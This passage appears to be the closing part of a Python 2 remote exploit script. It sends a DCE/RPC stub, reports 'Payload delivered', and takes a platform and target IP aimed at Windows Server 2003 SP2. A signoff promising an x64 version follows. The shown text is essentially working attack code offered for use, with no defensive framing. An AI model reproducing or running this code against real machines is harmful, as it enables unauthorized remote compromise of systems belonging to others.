dce . call ( 0x1f , stub )
print "[*] \t Payload delivered"
if __name__ == "__main__" :
if len ( sys . argv ) == 3 :
platform = sys . argv [ 1 ]
target = sys . argv [ 2 ]
print "[*] \t Platform: %s Target: %s" % ( platform , target )
cfg = offsets ( platform )
exploit ( target , cfg )
else :
print "[*] \t %s <target> <ipaddress>" % sys . argv [ 0 ]
print "[*] \t Target: win2k3sp2"
Exploit Github
Have fun see tou next time with x64 bit version of this one :)